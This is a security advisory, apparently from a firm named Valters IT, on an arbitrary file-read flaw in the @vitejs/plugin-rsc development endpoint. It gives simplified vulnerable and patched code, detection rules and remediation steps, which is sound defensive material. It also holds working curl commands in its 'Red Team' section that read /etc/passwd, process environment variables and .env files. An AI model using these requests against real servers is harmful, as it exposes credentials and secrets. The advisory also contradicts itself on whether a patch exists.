CVE-2025-68155

Executive Summary

CVE-2025-68155 is a critical path traversal vulnerability in @vitejs/plugin-rsc, a Vite plugin providing React Server Components (RSC) support. During development mode, the /__vite_rsc_findSourceMapURL endpoint allows unauthenticated arbitrary file read. An attacker can send a crafted HTTP request with a file:// URL in the filename query parameter to read any file accessible to the Node.js process. The vulnerability has a CVSS score of 7.5 (High) and affects versions prior to 0.5.8. No patch was available at the time of analysis, but upgrading to version 0.5.8 resolves the issue.

Supply Chain & Package Security

This vulnerability is in an npm package (@vitejs/plugin-rsc). Organizations using Vite with React Server Components should immediately audit their dependencies for this package. The attack vector is particularly dangerous in development environments, which are often exposed internally or accidentally to the internet. An attacker can exfiltrate source code, configuration files, environment variables, and other sensitive data.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required; a simple HTTP request suffices.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Complete file read is possible.
• Integrity (I): None (N) – No file modification is possible.
• Availability (A): None (N) – No denial of service.

Threat Level: High. The low attack complexity and lack of authentication make this a prime target for automated scanning and exploitation.

Deep Dive & Mechanics

The vulnerability resides in the /__vite_rsc_findSourceMapURL endpoint, which is intended to help locate source maps during development. The endpoint accepts a filename query parameter. In vulnerable versions, this parameter is not properly sanitized, allowing an attacker to supply a file:// URL (e.g., file:///etc/passwd). The server then reads the file and returns its contents in the response.

The core issue is a lack of validation on the filename parameter. The endpoint should only allow relative paths or paths within the project directory, but it blindly trusts the user-supplied value.

Vulnerable vs. Patched Code

Vulnerable Code (before 0.5.8):

// Simplified vulnerable handler
app.get('/__vite_rsc_findSourceMapURL', (req, res) => {
  const filename = req.query.filename;
  // No validation - directly reads the file
  const content = fs.readFileSync(filename);
  res.send(content);
});

Patched Code (0.5.8):

// Simplified patched handler
app.get('/__vite_rsc_findSourceMapURL', (req, res) => {
  const filename = req.query.filename;
  // Validate that the filename is not a file:// URL
  if (filename.startsWith('file://')) {
    return res.status(400).send('Invalid filename');
  }
  // Additional path traversal checks
  const resolvedPath = path.resolve(filename);
  if (!resolvedPath.startsWith(process.cwd())) {
    return res.status(400).send('Access denied');
  }
  const content = fs.readFileSync(resolvedPath);
  res.send(content);
});

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install a vulnerable version of @vitejs/plugin-rsc (e.g., 0.5.7) in a Vite project with React Server Components.
2. Start the development server: npm run dev.
3. The server will listen on a port (e.g., 5173).

Exploitation: Send a crafted HTTP request to read arbitrary files:

curl "http://localhost:5173/__vite_rsc_findSourceMapURL?filename=file:///etc/passwd"

The server will return the contents of /etc/passwd.

To read environment variables or source code:

curl "http://localhost:5173/__vite_rsc_findSourceMapURL?filename=file:///proc/self/environ"
curl "http://localhost:5173/__vite_rsc_findSourceMapURL?filename=file:///app/.env"

Blue Team

Detection:

• Monitor HTTP requests to /__vite_rsc_findSourceMapURL with filename parameters containing file://.
• Alert on any access to this endpoint from external IPs.
• Check server logs for unusual file read patterns.

Hunting:

• Search for __vite_rsc_findSourceMapURL in web server logs.
• Look for file:// in query parameters.
• Identify any unexpected outbound data transfers from the development server.

Indicators of Compromise (IOCs)

• Network: HTTP requests to /__vite_rsc_findSourceMapURL with filename=file:// in the query string.
• File System: Unauthorized reads of sensitive files (e.g., /etc/passwd, .env, source code).
• Logs: Server logs showing GET /__vite_rsc_findSourceMapURL?filename=file://... entries.
• Process: Node.js process reading files outside the project directory.

Detection Engineering

YARA Rule

rule CVE_2025_68155_FileRead {
  meta:
    description = "Detects exploitation attempts of CVE-2025-68155 via file:// URL in request"
    author = "Valters IT"
    date = "2025-04-10"
    reference = "CVE-2025-68155"
  strings:
    $file_url = "file://" ascii wide nocase
    $endpoint = "__vite_rsc_findSourceMapURL" ascii wide nocase
  condition:
    $endpoint and $file_url
}

Sigma Rule

title: CVE-2025-68155 - Arbitrary File Read via @vitejs/plugin-rsc
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests to the vulnerable endpoint with file:// URL
author: Valters IT
date: 2025-04-10
logsource:
  category: webserver
  product: generic
detection:
  selection:
    cs-method: 'GET'
    cs-uri-stem: '/__vite_rsc_findSourceMapURL'
    cs-uri-query|contains: 'filename=file://'
  condition: selection
falsepositives:
  - Legitimate development use (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-68155 - @vitejs/plugin-rsc Arbitrary File Read Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/__vite_rsc_findSourceMapURL"; http_uri; content:"filename=file://"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade @vitejs/plugin-rsc to version 0.5.8 or later.
2. If upgrade is not possible, restrict access to the development server using a firewall or reverse proxy.
3. Disable the development server in production environments.

Long-term Measures:

• Implement input validation for all query parameters.
• Use a web application firewall (WAF) to block requests containing file:// in query strings.
• Conduct regular dependency audits.
• Monitor for similar vulnerabilities in other Vite plugins.

Workaround:

• If you cannot upgrade, you can patch the endpoint manually by adding validation logic to reject file:// URLs.

Valters IT
Securing Digital Frontiers